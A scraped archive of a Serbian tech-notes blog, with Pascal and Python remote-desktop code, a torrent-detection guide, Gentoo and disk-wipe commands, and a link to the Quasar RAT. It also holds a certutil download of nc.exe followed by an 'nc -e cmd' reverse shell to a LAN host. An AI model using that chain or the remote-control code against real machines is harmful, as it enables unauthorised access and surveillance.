ITnauka ИТнаука: May 2025


unit Unit1;

{$mode objfpc}{$H+}

interface

uses
  Classes, SysUtils, Forms, Controls, ExtCtrls, IdTCPClient, IdGlobal, Graphics,
  Dialogs, Windows, LCLIntf, LCLType, Jpeg;

type
  TForm1 = class(TForm)
    IdTCPClient1: TIdTCPClient;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    procedure CaptureScreenToJPEG(Stream: TMemoryStream);
    procedure ListenForCommands;
    procedure ExecuteRemoteCommand(const Cmd: string);
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.lfm}

procedure TForm1.CaptureScreenToJPEG(Stream: TMemoryStream);
var
  bmp: TBitmap;
  jpg: TJPEGImage;
  DC: HDC;
begin
  bmp := TBitmap.Create;
  jpg := TJPEGImage.Create;
  try
    bmp.Width := Screen.Width;
    bmp.Height := Screen.Height;
    DC := GetDC(0);
    BitBlt(bmp.Canvas.Handle, 0, 0, bmp.Width, bmp.Height, DC, 0, 0, SRCCOPY);
    ReleaseDC(0, DC);
    jpg.Assign(bmp);
    jpg.CompressionQuality := 50;
    jpg.SaveToStream(Stream);
  finally
    bmp.Free;
    jpg.Free;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  ms: TMemoryStream;
begin
  ms := TMemoryStream.Create;
  try
    CaptureScreenToJPEG(ms);
    ms.Position := 0;

    try
      IdTCPClient1.ConnectTimeout := 2000;
      IdTCPClient1.Connect;
      IdTCPClient1.IOHandler.WriteLn(IntToStr(ms.Size));
      IdTCPClient1.IOHandler.Write(ms, ms.Size);
      IdTCPClient1.Disconnect;
    except
      // greška u konekciji, ignoriši
    end;
  finally
    ms.Free;
  end;

  ListenForCommands;
end;

procedure TForm1.ListenForCommands;
begin
  try
    IdTCPClient1.Host := '127.0.0.1'; // IP servera
    IdTCPClient1.Port := 9001;
    IdTCPClient1.ConnectTimeout := 2000;
    IdTCPClient1.Connect;
    while IdTCPClient1.Connected do
    begin
      ExecuteRemoteCommand(IdTCPClient1.IOHandler.ReadLn);
    end;
  except
    // bez konekcije
  end;
end;

procedure TForm1.ExecuteRemoteCommand(const Cmd: string);
var
  x, y: Integer;
begin
  if Pos('CLICK', Cmd) = 1 then
  begin
    x := StrToIntDef(ExtractWord(2, Cmd, [' ']), 0);
    y := StrToIntDef(ExtractWord(3, Cmd, [' ']), 0);
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
  end
  else if Pos('KEY', Cmd) = 1 then
  begin
    keybd_event(StrToIntDef(ExtractWord(2, Cmd, [' ']), 0), 0, 0, 0);
    keybd_event(StrToIntDef(ExtractWord(2, Cmd, [' ']), 0), 0, KEYEVENTF_KEYUP, 0);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTCPClient1.Host := '127.0.0.1';
  IdTCPClient1.Port := 9000;
  Timer1.Interval := 1000;
  Timer1.Enabled := True;
end;

end.

📄 `unit1.lfm` (forma za klijenta)


object Form1: TForm1
  Caption = 'Remote Client'
  ClientHeight = 120
  ClientWidth = 200
  OnCreate = FormCreate
  object IdTCPClient1: TIdTCPClient
    Port = 9000
    Host = '127.0.0.1'
  end
  object Timer1: TTimer
    Interval = 1000
    OnTimer = Timer1Timer
  end
end

✅ 2. SERVER

📄 `unit1.pas` (Server)


unit Unit1;

{$mode objfpc}{$H+}

interface

uses
  Classes, SysUtils, Forms, Controls, Graphics, Dialogs, ExtCtrls,
  IdTCPServer, IdContext, IdGlobal, StdCtrls, Windows, LCLIntf, LCLType, Jpeg;

type
  TForm1 = class(TForm)
    IdTCPServer1: TIdTCPServer;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure IdTCPServer1Execute(AContext: TIdContext);
    procedure Image1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
  private
    procedure SendCommandToClient(const Cmd: string);
  public
  end;

var
  Form1: TForm1;
  ClientContext: TIdContext = nil;

implementation

{$R *.lfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTCPServer1.DefaultPort := 9000;
  IdTCPServer1.Active := True;
  Self.KeyPreview := True;
end;

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  SizeStr: string;
  ImgStream: TMemoryStream;
  JPEG: TJPEGImage;
  Size: Integer;
begin
  ClientContext := AContext;

  SizeStr := AContext.Connection.IOHandler.ReadLn;
  Size := StrToIntDef(SizeStr, 0);
  if Size <= 0 then Exit;

  ImgStream := TMemoryStream.Create;
  JPEG := TJPEGImage.Create;
  try
    AContext.Connection.IOHandler.ReadStream(ImgStream, Size, False);
    ImgStream.Position := 0;
    JPEG.LoadFromStream(ImgStream);
    Image1.Picture.Assign(JPEG);
  finally
    JPEG.Free;
    ImgStream.Free;
  end;
end;

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  SendCommandToClient('CLICK ' + IntToStr(X) + ' ' + IntToStr(Y));
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  SendCommandToClient('KEY ' + IntToStr(Key));
end;

procedure TForm1.SendCommandToClient(const Cmd: string);
begin
  if Assigned(ClientContext) then
  begin
    try
      ClientContext.Connection.IOHandler.WriteLn(Cmd);
    except
      // greška prilikom slanja komande
    end;
  end;
end;

end.

📄 `unit1.lfm` (forma za server)


object Form1: TForm1
  Caption = 'Remote Server'
  ClientHeight = 500
  ClientWidth = 800
  OnCreate = FormCreate
  OnKeyDown = FormKeyDown
  KeyPreview = True
  object Image1: TImage
    Align = alClient
    OnMouseDown = Image1MouseDown
  end
  object IdTCPServer1: TIdTCPServer
    DefaultPort = 9000
    OnExecute = IdTCPServer1Execute
  end
end

📌 Napomena:

Server prima slike i prikazuje ih, a klik/tastatura šalje natrag klijentu kroz TCP konekciju.
Trenutno je ClientContext memorisan globalno – ovo funkcioniše ako je samo jedan klijent, za više klijenata bi trebalo održavati listu konekcija.
IP adrese i portovi se mogu menjati prema tvojoj mrežnoj konfiguraciji.

W11 mini

https://schneegans.de/windows/unattend-generator/

https://www.microsoft.com/en-us/software-download/windows11

https://youtu.be/-kB__SCNA_w?si=gax3_DBhW4CsZuck

AnyDesk like tool2, mouse x y click

trenutna verzija koda ne klikće na koordinatu x, y koju odredi server, već:

Server prati poziciju svog lokalnog miša, i kada korisnik pritisne c (za „click”), pošalje komandu za klik klijentu,
Ali klijent klikće tamo gde se već nalazi njegov miš, jer nema koordinata u komandi {"action": "click"}.

✅ Rešenje: Dodavanje koordinata u komandu za klik

Da bi server kliknuo tačno na poziciji koju je odabrao (npr. klikom miša na prikazani ekran), moramo:

Izračunati koordinatu klika u prikazanoj slici (npr. kada klikneš u OpenCV prozoru),
Mapirati tu koordinatu na originalnu rezoluciju ekrana klijenta,
Poslati tu poziciju klijentu zajedno sa komandom za klik.

🔁 Ažuriran deo `server.py` (klik sa koordinatama)

Zamenjujemo deo gde se koristi cv2.imshow i cv2.waitKey, dodajemo klik handler:


def handle_client(conn, addr):
    print(f"[+] Connected by {addr}")
    
    data = b''
    payload_size = struct.calcsize(">L")

    screen_width, screen_height = None, None

    def mouse_callback(event, x, y, flags, param):
        if event == cv2.EVENT_LBUTTONDOWN:
            if screen_width and screen_height:
                # Preračunaj koordinatu iz prozora u stvarni ekran
                h, w, _ = frame.shape
                real_x = int((x / w) * screen_width)
                real_y = int((y / h) * screen_height)
                send_command({"action": "move", "x": real_x, "y": real_y})
                send_command({"action": "click"})

    def send_command(command):
        try:
            conn.sendall(pickle.dumps(command))
        except:
            pass

    cv2.namedWindow("Remote Screen")
    cv2.setMouseCallback("Remote Screen", mouse_callback)

    while True:
        try:
            # Primi dužinu slike
            while len(data) < payload_size:
                data += conn.recv(4096)
            packed_msg_size = data[:payload_size]
            data = data[payload_size:]
            msg_size = struct.unpack(">L", packed_msg_size)[0]

            # Primi ceo frame
            while len(data) < msg_size:
                data += conn.recv(4096)
            frame_data = data[:msg_size]
            data = data[msg_size:]

            # Prikaži sliku
            frame = cv2.imdecode(np.frombuffer(frame_data, np.uint8), cv2.IMREAD_COLOR)
            if frame is not None:
                if screen_width is None or screen_height is None:
                    screen_height, screen_width = frame.shape[:2]
                cv2.imshow("Remote Screen", frame)

            if cv2.waitKey(1) & 0xFF == ord('q'):
                break

        except Exception as e:
            print("Error:", e)
            break

    conn.close()
    cv2.destroyAllWindows()

🔁 Ažuriran deo `client.py` (klik na zadatu koordinatu)

Zamenjujemo:


elif command["action"] == "click":
    pyautogui.click()

sa:


elif command["action"] == "click":
    pyautogui.click()
elif command["action"] == "move":
    pyautogui.moveTo(command["x"], command["y"])

Već postoji u kodu, ali sada redosled poziva sa servera postaje:

move (na određene koordinate)
click (na toj lokaciji)

✅ Rezultat:

Server sada klikće na tačnu tačku na ekranu klijenta, tamo gde klikneš mišem na prikazu slike. Ovo ponašanje je slično kako funkcionišu alati poput TeamViewer-a ili AnyDesk-a.

Da bismo napravili kompletno rešenje u kojem server može da vidi ekran klijenta i da daljinski koristi miša i tastaturu (kao kod softvera za daljinsku kontrolu poput AnyDesk, TeamViewer itd.), koristićemo Python sa sledećim bibliotekama:

socket — za mrežnu komunikaciju
pyautogui — za kontrolu miša i tastature
PIL.ImageGrab — za hvatanje ekrana
cv2 (OpenCV) — za prikaz slike na serveru
pickle i struct — za serijalizaciju podataka

✅ KORAK 1: Instaliraj biblioteke


pip install pyautogui opencv-python pillow

📡 KLIJENT (remote računar)


# client.py
import socket
import threading
import pyautogui
import pickle
import struct
from PIL import ImageGrab
import io

SERVER_IP = 'SERVER_IP_HERE'  # npr. '192.168.1.5'
SERVER_PORT = 9999

def send_screen(sock):
    while True:
        # Slikaj ekran
        img = ImageGrab.grab()
        with io.BytesIO() as output:
            img.save(output, format="JPEG")
            data = output.getvalue()
        
        # Pošalji dužinu i podatke
        sock.sendall(struct.pack(">L", len(data)) + data)

def receive_commands(sock):
    while True:
        try:
            data = sock.recv(1024)
            if not data:
                break
            command = pickle.loads(data)

            if command["action"] == "move":
                pyautogui.moveTo(command["x"], command["y"])
            elif command["action"] == "click":
                pyautogui.click()
            elif command["action"] == "write":
                pyautogui.write(command["text"])
        except Exception as e:
            print("Error:", e)
            break

def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((SERVER_IP, SERVER_PORT))
        threading.Thread(target=send_screen, args=(s,), daemon=True).start()
        receive_commands(s)

if __name__ == "__main__":
    main()

🖥️ SERVER (kontroler)


# server.py
import socket
import cv2
import pickle
import struct
import threading

HOST = '0.0.0.0'
PORT = 9999

def handle_client(conn, addr):
    print(f"[+] Connected by {addr}")
    
    data = b''
    payload_size = struct.calcsize(">L")

    def send_command(command):
        try:
            conn.sendall(pickle.dumps(command))
        except:
            pass

    def mouse_control():
        while True:
            key = cv2.waitKey(1)
            if key == ord('c'):
                send_command({"action": "click"})
            elif key == ord('q'):
                break
            elif key == ord('t'):
                text = input("Unesi tekst za kucanje: ")
                send_command({"action": "write", "text": text})

    threading.Thread(target=mouse_control, daemon=True).start()

    while True:
        try:
            # Primi dužinu slike
            while len(data) < payload_size:
                data += conn.recv(4096)
            packed_msg_size = data[:payload_size]
            data = data[payload_size:]
            msg_size = struct.unpack(">L", packed_msg_size)[0]

            # Primi ceo frame
            while len(data) < msg_size:
                data += conn.recv(4096)
            frame_data = data[:msg_size]
            data = data[msg_size:]

            # Prikaži sliku
            frame = cv2.imdecode(np.frombuffer(frame_data, np.uint8), cv2.IMREAD_COLOR)
            if frame is not None:
                cv2.imshow("Remote Screen", frame)

                # Šalji poziciju miša kad klikneš
                x, y = cv2.getWindowImageRect("Remote Screen")[0:2]
                pos = pyautogui.position()
                send_command({"action": "move", "x": pos.x, "y": pos.y})
        except Exception as e:
            print("Error:", e)
            break

    conn.close()

if __name__ == "__main__":
    import numpy as np
    import pyautogui

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((HOST, PORT))
        server.listen(1)
        print(f"[*] Listening on {HOST}:{PORT}")
        conn, addr = server.accept()
        handle_client(conn, addr)

🧪 Uputstvo za korišćenje:

Pokreni server.py na računaru koji upravlja.
Pokreni client.py na računaru koji će biti kontrolisan.
Na prozoru koji prikazuje ekran:
- Pritisni c da klikneš
- Pritisni t da uneseš tekst za kucanje
- Pritisni q za izlazak

Saturday, May 24, 2025

Torrent killer

Detecting torrent traffic in a LAN (Local Area Network) can be important for network monitoring, security, or policy enforcement. Torrent traffic has unique characteristics that make it detectable, even when encrypted. Here's how you can detect it:

1. Use a Network Monitoring Tool

These tools analyze network traffic and can identify BitTorrent traffic patterns:

✅ Popular Tools:

Wireshark
- Use packet capture and filter for common BitTorrent ports or protocols (bittorrent, DHT, etc.).
- Look for bittorrent, peer, handshake, or known tracker communications.
ntopng
- A real-time network traffic monitoring tool that can classify traffic, including P2P/torrent.
Zeek (formerly Bro)
- An advanced network analysis framework that can detect and log P2P connections.
PFsense + Snort/Suricata (with IDS/IPS rules)
- These tools can use community rulesets to detect torrent traffic and even block it.

2. Detect Known BitTorrent Protocol Signatures

Even if the payload is encrypted, BitTorrent traffic uses distinguishable patterns:

Common ports: 6881–6889 (though many clients use random ports now)
DHT (Distributed Hash Table): Used for peer discovery—look for UDP traffic on port 6881 or high-numbered ports.
Trackers: DNS or HTTP(S) traffic to well-known tracker domains.

3. Analyze Traffic Behavior

Torrent traffic has behavioral signatures:

High number of simultaneous connections
Frequent small packets (especially TCP)
Unusual upload/download ratios or volume
Communication with many different IPs (especially on high ports)

Some tools can visualize this (e.g., ntopng or SolarWinds NetFlow Analyzer).

4. Use DPI (Deep Packet Inspection)

Enterprise firewalls or specialized tools can inspect packet contents:

Cisco Meraki, Palo Alto Networks, Fortinet, Sophos UTM: These often include DPI that can flag torrent traffic.
OpenDPI / nDPI: Open-source DPI libraries that can be integrated into custom solutions.

5. Check Router or Firewall Logs

Some routers with advanced firmware (like OpenWRT with plugins, pfSense, or Ubiquiti’s UniFi gear) can log and even alert on suspicious P2P activity.

Example with Wireshark

Capture traffic on your LAN interface.

Apply a display filter like:

bittorrent || tcp.port == 6881 || udp.port == 6881

Look for BitTorrent-specific handshake packets or tracker requests.

Caveats

Encryption & Obfuscation: Modern torrent clients can use encryption, making payload inspection difficult.
Port Randomization: Clients can use random ports, bypassing simple port-based detection.
False Positives: Some apps (e.g., gaming or VoIP) might resemble P2P patterns.

https://github.com/quasar/Quasar/releases

certutil -urlcache -split -f http://192.168.0.110/nc.exe nc.exe

Klijent=

certutil -urlcache -split -f http://192.168.0.110/nc.exe nc.exe

nc.exe -e cmd 192.168.0.110 1234

Server=

nc -nlvp 1234

Friday, May 23, 2025

OpenCloud.eu

git clone https://github.com/opencloud-eu/opencloud.git

cd opencloud/deployments/examples/opencloud_full

docker-compose up -d

sudo apt update

sudo apt install docker docker-compose git

sudo apt install apparmor

sudo -i

nano /etc/hosts

192.168.1.230 cloud.opencloud.test

192.168.1.230 collabora.opencloud.test

192.168.1.230 wopiserver.opencloud.test

https://chef.convex.dev

Wednesday, May 21, 2025

Particionisanje u Windows 11

Ova tri programa se plaćaju, free verzije su neupotrebljive:

https://www.aomeitech.com/pa/standard.html

https://www.partitionwizard.com/free-partition-manager.html

https://www.easeus.com/partition-manager/epm-free-250411.html?saSDKMultilink=true

Hirensboot 15.2 ima potpunu verziju ovog drugog programa koja je super korisna u svim situacijama.

Prebacivanje fajla sa jednog kompjutera na drugi preko LAN mreže:

netcat -l 1234 > secrets.txt

cat secrets.txt | netcat 192.168.0.49 1234 -q 0

Monday, May 12, 2025

NixOS install

https://www.youtube.com/watch?v=lUB2rwDUm5A&t=1039s

gentoo install

cfdisk /dev/sda

/dev/sda1 1G Linux filesystem

/dev/sda2 4G Linux filesystem

/dev/sda3 94G Linux filesystem

lsblk

mkfs.ext4 /dev/sda3

mkfs.fat -F 32 /dev/sda1

mkswap /dev/sda2

mkdir -p /mnt/gentoo

mount /dev/sda3 /mnt/gentoo

swapon /dev/sda2

date

cd /mnt/gentoo

links https://www.gentoo.org/downloads/mirrors

Download > stage3...

stage3...tar.xz

tar xpvf stage3-amd64-openrc-20250223...tar.xz --xattrs-include='*.*' --numeric-owner

nano /mnt/gentoo/etc/portage/make.conf

MAKEOPTS="-j5"

USE="-systemd -kde -gnome -bluetooth"

cp --dereference /etc/resolv.conf /mnt/gentoo/etc

mount --types proc /proc /mnt/gentoo/proc

mount --rbind /sys /mnt/gentoo/sys

monut --make-rslave /mnt/gentoo/sys

mount --rbind /dev /mnt/gentoo/dev

monut --make-rslave /mnt/gentoo/dev

mount --bind /run /mnt/gentoo/run

mount --make-slave /mnt/gentoo/run

chroot /mnt/gentoo /bin/bash

source /etc/profile

export PS1="(ch) $PS1"

lsblk

mount /dev/sda1 boot/efi

lsblk

emerge-webrsync

eselect profile list | less

eselect profile set 21

emerge --sync --quiet

emerge --ask --verbose --update --deep --changed-use @world

emerge -q app-editors/vim

ln -sf ../usr/share/zoneinfo/Europe/Belgrade /etc/localtime

nano /etc/locale.gen

locale-gen

eselect locale list

eselect locale set 4

env-update && source /etc/profile && export PS1="(ch) $PS1"

https://www.youtube.com/watch?v=OZDyH_vu5QM&t=935s

Sunday, May 11, 2025

You can become anyone on the web cam!

https://github.com/hacksider/Deep-Live-Cam

You can become anyone on the web cam!

https://github.com/features/copilot

Programming master #1

https://elevenlabs.io

Text2Speech and vice versa!

https://imagineexplainers.com

Learn about everything!

https://whynothugo.nl/journal/2023/11/19/setting-up-an-alpine-linux-workstation/

Alpine Linux Goodies!

https://vlada35.wordpress.com/

Tips for free!

Friday, May 9, 2025

Важне белешке

Одличне линукс команде:

webcamize

dysk

xephyr

advcpmv

https://www.anduinos.com

Како уништити осетљиве податке на диску на професионалан начин:

lsblk

sudo dd if=/dev/zero of=/dev/sda bs=1M status=progress

sudo dd if=/dev/urandom of=/dev/sda bs=1M status=progress

HTML TIPS=

<sumary>Click me!</sumary>

<p>Magic content appears!</p>

</details>

<br>

<p>No more Modal.js</p>

</dialog>

<br>

</meter>

<br>

May 11th

</time>

<br>

</template>

Saturday, May 31, 2025

Tuesday, May 27, 2025

Sunday, May 25, 2025

✅ 1. KLIJENT

📄 unit1.pas (Klijent)

📄 unit1.lfm (forma za klijenta)

✅ 2. SERVER

📄 unit1.pas (Server)

📄 unit1.lfm (forma za server)

📌 Napomena:

✅ Rešenje: Dodavanje koordinata u komandu za klik

🔁 Ažuriran deo server.py (klik sa koordinatama)

🔁 Ažuriran deo client.py (klik na zadatu koordinatu)

✅ Rezultat:

✅ KORAK 1: Instaliraj biblioteke

📡 KLIJENT (remote računar)

🖥️ SERVER (kontroler)

🧪 Uputstvo za korišćenje:

Saturday, May 24, 2025

1. Use a Network Monitoring Tool

✅ Popular Tools:

2. Detect Known BitTorrent Protocol Signatures

3. Analyze Traffic Behavior

4. Use DPI (Deep Packet Inspection)

5. Check Router or Firewall Logs

Example with Wireshark

Caveats

Friday, May 23, 2025

Wednesday, May 21, 2025

Tuesday, May 13, 2025

Monday, May 12, 2025

Sunday, May 11, 2025

Friday, May 9, 2025

📄 `unit1.pas` (Klijent)

📄 `unit1.lfm` (forma za klijenta)

📄 `unit1.pas` (Server)

📄 `unit1.lfm` (forma za server)

🔁 Ažuriran deo `server.py` (klik sa koordinatama)

🔁 Ažuriran deo `client.py` (klik na zadatu koordinatu)